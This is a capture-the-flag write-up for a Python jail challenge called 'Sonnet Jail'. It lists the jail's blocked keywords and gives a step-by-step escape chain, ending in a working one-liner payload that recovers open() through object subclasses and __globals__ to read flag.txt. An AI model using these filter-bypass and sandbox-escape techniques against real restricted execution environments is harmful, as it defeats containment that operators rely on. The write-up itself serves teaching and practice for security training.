Sonnet Jail - Writeup Link to heading
Challenge Link to heading
- Name: Sonnet Jail
- Category: Misc / PyJail
- Description: "I told Sonnet create me a creative pyjail even you can't solve, does it make the job?"
- Goal: Read
./flag.txt
Reconnaissance Link to heading
Connecting to the service presents a Python REPL with several restrictions:
>>> print(1+1)
2
>>> print(open("flag.txt").read())
[blocked] no dots
>>> print(open("flag" + chr(46) + "txt"))
[blocked] 'open' is blocked
Blocked keywords Link to heading
| Keyword | Message |
|---|---|
. (dot character) | no dots |
open | 'open' is blocked |
eval | 'eval' is blocked |
exec | 'exec' is blocked |
dir | 'dir' is blocked |
getattr | 'getattr' is blocked |
hasattr / setattr / delattr | blocked |
__builtins__ | blocked |
__import__ | blocked |
globals | blocked |
breakpoint | blocked |
compile | blocked |
input | blocked |
__subclasses__ | blocked string |
__init__ | blocked string |
flag | blocked string |
Allowed builtins Link to heading
print, type, chr, isinstance, vars, list, map, filter, zip, object, bytes, int, str, range, enumerate, len, tuple, set, dict, frozenset, hex, oct, ord, bin, abs, round, sorted, reversed, min, max, sum, any, all, bool, float, complex, super, staticmethod, classmethod, property, slice, memoryview, bytearray
Key Observations Link to heading
- No dots = no attribute access via
.syntax vars()is allowed = can access__dict__of any object viavars(obj)["key"], effectively replacinggetattr()- String concatenation bypasses keyword filters =
"__" + "init" + "__"is not caught by the filter looking for__init__ chr()bypasses character/string filters =chr(102)+chr(108)+chr(97)+chr(103)produces"flag"without the literal appearing in source
Exploit Chain Link to heading
Step 1 - Get object.__subclasses__() without dots or blocked strings
Link to heading
vars(type)["__" + "subclasses" + "__"](object)
vars(type) returns type.__dict__, from which we grab __subclasses__ (a descriptor) and call it on object.
Step 2 - Find os._wrap_close (index 142)
Link to heading
sc = vars(type)["__" + "subclasses" + "__"](object)
wc = sc[142] # <class 'os._wrap_close'>
Step 3 - Traverse to __builtins__ via __init__.__globals__
Link to heading
init = vars(wc)["__" + "init" + "__"]
To access init.__globals__ without dots or getattr, we use object.__getattribute__ (not keyword-blocked):
ga = vars(object)["__getattribute__"]
g = ga(init, "__" + "globals" + "__")
Step 4 - Recover open from __builtins__
Link to heading
b = g["__" + "builtins" + "__"]
o = b["op" + "en"]
Step 5 - Read the flag Link to heading
Build "flag.txt" with chr() to avoid the blocked string flag and the blocked character .:
fn = chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+"txt" # "flag.txt"
f = o(fn)
print(ga(f, "re" + "ad")())
Final Payload (one-liner) Link to heading
sc = vars(type)["__" + "subclasses" + "__"](object); wc = sc[142]; init = vars(wc)["__" + "init" + "__"]; ga = vars(object)["__getattribute__"]; g = ga(init, "__" + "globals" + "__"); b = g["__" + "builtins" + "__"]; o = b["op" + "en"]; fn = chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+"txt"; f = o(fn); print(ga(f,"re" + "ad")())
Flag Link to heading
CyCTF{Xf6uHrmRdeqCv1stawLP4j376hZk9R1K0PYAqVQeRwONGIllyJ4ddCuv6e-PvmPkLunw6nCVbPha5C78kI-uOPAUqb91KtR_IK0}